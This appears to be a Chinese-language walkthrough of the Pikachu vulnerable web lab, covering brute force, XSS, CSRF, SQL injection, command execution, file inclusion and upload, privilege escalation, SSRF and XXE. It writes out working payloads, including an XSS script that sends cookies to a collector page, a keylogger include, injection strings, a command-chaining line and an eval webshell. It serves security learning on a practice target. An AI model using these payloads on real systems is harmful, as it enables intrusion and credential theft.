pikachu靶场
暴力破解
基于表单的暴力破解
挂上代理,抓包,选择clusterbomb模式,设置两个payload
分别将字典导入payload1和payload2,开始爆破
admin和123456登录成功
验证码绕过(on server)
输入用户名,密码,验证码进行抓包
发送到重放器发现,只更改用户名和密码,页面显示
再尝试改一下验证码,发现验证码错误
猜测一个验证码可以进行多次登录,直接将用户名和密码作为payload位置就可以
原理,源码
验证码绕过(on client)
根据提示,查看js代码
var code; //在全局 定义验证码 |
我们可以发现验证码是JavaScript随机生成,点击一次函数运行一次生成一个相应的验证码。
将数据包发送到repeater,更改验证码进行发包依旧提示
发现该验证码是javascript随机生成的,后台并没有进行校验,我们直接进行爆破就行了
token防爆破?
输入用户名,密码,发现每次发包token就会更新一次
在密码输入框的下方多一个隐藏的输入框,记录的是token的信息,那么直接拿去burp上开始爆破
模式选择 pitchfork 勾选两个参数,一个是密码,一个是token
token参数选择递归提取类型
点击选项找到检索-提取
进行添加,先点击获得响应,再选中token,重定向选择为总是
再将线程设置为单线程
根据长度判断
爆破成功,得到admin的密码为123456
跨站脚本攻击(xss)
反射型XSS(get)
反射性,一次性的,刷新页面之后弹窗消失。GET是以url方式提交数据的。
<script>alert(666)</script> |
反射型XSS(post)
POST是以表单方式在请求体里面提交
存储型XSS
存储型和反射型漏洞形成的原因是一样的,而存储型xss可以将脚本保存到后台,造成更大的伤害,也成为永久永久型xss。
永久型的xss,刷新页面后弹窗依旧存在
DOM型xss
这里是标签的href属性,直接javascript伪协议
javascript:alert(6) |
出现弹窗
DOM型xss-x
查看源码
发现还是href属性,构造一个闭合或使用javascript伪协议
XSS盲打
我们直接在输入框里插js代码,后端有漏洞就就可以x
成功
<script>alert("xss")</script> |
登录后台账号,发现被弹
XSS之过滤
绕过方法
前端有过滤的,可以直接修改前端代码
//大小写绕过 |
输入<script>":#'@
应该是script被过滤了,大小写进行绕过
xss之htmlspecialchars()函数
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
它可以将字符串中的特殊字符(如<>等)转换为了HTML实体,以防止跨站点脚本攻击(XSS)
输入6666;"'<>
,查看源码,发现只有单引号'
没有被编码
我们可以构造一个闭合,' onclick='alert(666)'
,也可以输入javascript:alert(666)
xss之href输出和js输出
输入javascript:alert(666)
js输出的源码
构造闭合'</script><script>alert(666)</script>
xss的危害
获取cookie
我们利用pikachu的xss后台获取cookie
构造payload
<script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script> |
将他输入反射型xss中,打开后台
钓鱼获取账户密码
嵌入代码
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script> |
会弹出一个登录框
我们输入账号密码,数据会存到后台可以进行查看
获取键盘记录
同源策略规定,两个不同域名之间不能使用JS进行相互操作。
所以我们需要允许跨域访问
嵌入代码
<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script> |
打开控制台,在页面随便敲键盘,在后台可以看到输入数据
CSRF(跨站请求伪造)
概述
CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一 个链接),
然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击也就完成了。
csrf攻击前,首先需要用户的权限,再诱导用户再点击这个请求完成攻击。
csrf是借用用户的权限进行攻击,xss是直接盗用用户的身份在进行攻击。
CSRF(get/post)
GET型
进入修改信息的界面,提交修改信息的请求会在url中体现
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=&add=&email=&submit=submit |
我们在url中直接修改参数就可以了
POST型
post型是通过表单进行请求
我们可以利用bp抓包工具生成一个csrf poc
我们直接在浏览器运行一下
提交申请,我们直接会跳转到个人中心,并且信息也被修改了
CSRF(Token)
在修改信息时,可以在加一个token参数(随机,每次都不一样)
http://127.0.0.1/pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=2&phonenum=&add=&email=&token=1436064c7a4e2888e1609686874&submit=submit |
每个token只能用一次,所以我们只能在修改信息前进行抓包,再修改信息。所以,token是防止csrf的一种方式。
SQL注入
概述
SQL注入漏洞就是,前端的数据传到后台进行处理时,因没有做严格的过滤,导致数据中的sql语句执行,数据库被攻击。
数字型注入
数字型不用考虑闭合id=1 or 1=1#
字符型注入
后台查询语句是select id,email from member where username='$name'
name=kobe' //mysql报错 |
搜索型注入
后台查询语句
select username,id,email from member where username like '%$name%' |
构造闭合
kobe%' or 1=1# //回显所有信息 |
insert/update注入
后台语句
insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}') |
这个insert语句我们直接就在住址(Add)
这个参数进行注入,闭合前面的sql只需要加入'$payload)
(前后分别加入单引号和右括号)
我们利用updatexml()函数进行报错注入
111' and updatexml(1,concat(0x7e,(select database()),0x7e),1))# |
concat是将符号与字符拼接在一起
0x7e是16进制,是这个符号~
delete注入
后台语句
delete from message where id={$_GET['id']} |
这是数字型不需要进行闭合
其余跟insert注入是一样的
http header 注入
以下是一些常见的请求header:
Accept: 指定客户端能够接收的数据类型,例如text/html、image/jpeg等。
Accept-Encoding: 指定客户端能够接受的编码方式,例如gzip、deflate等。
Accept-Language: 指定客户端接受的语言类型,例如en-US,zh-CN等。
Connection: 指定客户端与服务器的连接类型,例如keep-alive、close等。
Host: 指定请求的服务器的域名和端口号。
User-Agent: 指定客户端使用的浏览器类型及版本号。
后台语句
构造闭合
1'and updatexml(1,concat(0x7e,(select version()),0x7e),1)--' |
基于boolian的盲注
布尔盲注就是猜测,根据页面返回的true和flase猜数据库总数,猜数据库长度,猜数据库名字,猜表和字段
输入kobe
用户存在,而输入66
用户不存在,判断可能存在布尔盲注
我们可以猜与数据库的长度
kobe' and length(database())=6# |
当长度等于6时,提示用户不存在,等于7时,正确返回数据,说明数据库长度为7
我们再用burp爆破数据库的名称,构造payload
kobe' and substr(database(),1,1)='a'# |
发送到爆破模块,设置位置
第一个位置
第二个位置
按照顺序拼写出pikachu
基于时间的盲注
后台语句
利用sleep()函数和返回时间进行判断是否存在时间盲注
正常输入,反应时间时15毫秒
构造payload
kobe' and if(length(database())>1,sleep(6),1)# |
花费了6秒,证明可能存在时间盲注
可判断数据库长度
kobe' and if(length(database())>6,sleep(6),1)# //执行了函数,延迟了6秒 |
还可爆破数据库名称,跟布尔盲注是一样操作
kobe' and if(substr(database(),1,1)='p',sleep(3),1)# |
宽字节注入(wide byte注入)
一个字节的字符叫做窄字节,两个字节及以上叫宽字节
宽字节注入是绕过sql防御的一种方法,为了防御sql注入,一些函数可以将单引号、双引号进行转义,转义就是再单引号、双引号前面加上转义字符(\)。
mysql使用的是GBK编码(两个字节),\
的十六进制编码是%5c,前面加%df就可以组成一个繁体字運
过程:
id=1%df’(浏览器自动进行url编码%27)->%df%27
根据以上分析,发生如下转换:
%df%27—>(check_addslashes)—>%df%5c%27—->(GBK)—->運
最后单引号形成闭合
构造payload
kobe%df' or 1=1# //回显所有信息 |
接着还可以判断字段数
kobe%df' order by 2 //无报错 |
联合查询进行查询数据库和版本
kobe%df' union select database(),version() # |
RCE
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统
exec“ping”
给了一个ping的框
尝试ping
127.0.0.1 & whoami //两条命令都可以执行 |
同时执行多条命令的语法格式
a & b //先执行a再执行b,无论a是否执行成功(按位与) |
exec“evel”
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
可以输入phpinfo();
后端代码是直接可以执行的
eval($_POST['txt']
也算是一句话木马,我们可以通过蚁剑进行连接
这时候提示数据为空,是因为还有参数没有进行提交
我们添加一下
连接成功
文件包含漏洞
首先,需要将服务器文件包含功能打开
本地文件包含
只能够对服务器本地的文件进行包含,攻击者大多会读取系统配置文件等
通过目录遍历可以读取本地文件:
../../1.txt |
远程文件包含
可以通过url地址对远程的文件进行包含
php中有几个文件包含函数
include(),include_once() |
可以在url中输入网址
还可以通过url的形式读取文件
不安全的文件下载
这是下载文件的url
如果后端没有进行文件名过滤,我们可以直接再filename下载服务器上的任意文件,通过目录遍历。
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../1.txt |
不安全的文件上传
客户端check
查看源码
发现是前端校验,我们可以禁用js,然后就可以上传.php的文件
还可以利用抓包改后缀名
服务端check
我们可以上传图片,Content-Type: image/png
只需要将后缀名修改成php就行了。也可以上传php文件进行抓包,修改Content-Type。
getimagesize()
getimagesize():它是php提供的,通过对目标文件的16进制进行读取,通过该文件的前面几个字符串,来判断文件类型。
我们可以伪造文件头
GIF89a |
越权漏洞
如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作, 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
水平越权
用户本身可以修改别的用户的信息
url中的username是lucy,我们可以修改成lili
直接跳转到lili的页面,这叫做水平越权
垂直越权
用户可以拥有管理员的权限,对用户信息进行添加
我们先登管理员账号,得到添加信息的url
http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php |
然后退出管理员账号,登录用户账号,访问这个url,依旧可以进行添加用户,这叫垂直越权。
URL重定向
127.0.0.1/pikachu/vul/urlredirect/urlredirect.php?url= |
可以在参数后面直接输入网站进行跳转
url跳转的危害:
钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站。
SSRF(服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
PHP中下面函数的使用不当会导致SSRF: |
SSRF(curl)
查看源码,利用的是curl_exec()函数
SSRF(file_get_contents)
php://filter/convert.base64-encode/resource=ssrf.php |
利用伪协议进行读取文件内容
XXE(xml外部实体注入)
xml是可扩展标记语言
<?xml version="1.0"?> //声明是xml |
判断是否有xxe回显漏洞
输入
<aa>aa</aa> |